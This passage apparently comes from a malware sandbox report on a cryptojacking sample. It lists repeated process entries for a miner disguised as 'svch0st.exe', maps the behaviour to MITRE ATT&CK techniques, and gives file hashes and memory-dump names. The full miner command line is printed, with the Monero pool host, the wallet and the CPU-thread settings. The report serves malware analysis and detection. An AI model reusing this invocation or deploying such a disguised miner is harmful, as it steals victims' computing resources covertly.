        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        78⤵
        
        PID:11584
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:11688
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:8112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:8652

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_4q3bto24.5jb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4q3bto24.5jb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

svch0st.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
Size 7KB
SHA256 ad72e6bd79a8f54d4de8327a75e575c08a8681914bdfcbe52c74df895780bbd0
MD5 1af62005da112e58ee7bc7eb8523937d
SHA1 4d84444ee2247e5b877f568e88d48b9777a8d893
SHA512 79a0443af78d3d20c5afe77ceae189b5b76ea90303bea7936ea6f83009d8b913a3bc0502c08318b79474deefb715a9f165310b4906aaf530dee5227d3453a77c
SSDEEP 96:CwVJcMyjEomPDo9USVgISmo/ilzvTH715FZPpjivh2fu/dB6k+Y9ozNt:C8JcMeEom7Nbt6pb1P6vh+u/+k19q
TLSH
T117E1E916D7E84732ED770A30BDF1A311173AF611AD678FAE2585600F2D2A7550922F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3472-11-0x000001FFC7DD0000-0x000001FFC7DE0000-memory.dmp

Download

memory/3472-10-0x000001FFC7DD0000-0x000001FFC7DE0000-memory.dmp

Download

memory/3472-45-0x000001FFC85A0000-0x000001FFC8762000-memory.dmp

Download

memory/3472-46-0x000001FFC8CA0000-0x000001FFC91C8000-memory.dmp

Download

memory/3472-97-0x000001FFAF600000-0x000001FFAF655000-memory.dmp

Download

memory/3844-30-0x00000257964E0000-0x00000257964E6000-memory.dmp

Download

memory/4124-1-0x00000163C0470000-0x00000163C0480000-memory.dmp

Download

memory/4124-0-0x00000163C0470000-0x00000163C0480000-memory.dmp

Download

memory/4124-7-0x00000163D8AD0000-0x00000163D8AF2000-memory.dmp

Download

memory/4124-99-0x00000163C0320000-0x00000163C0375000-memory.dmp

Download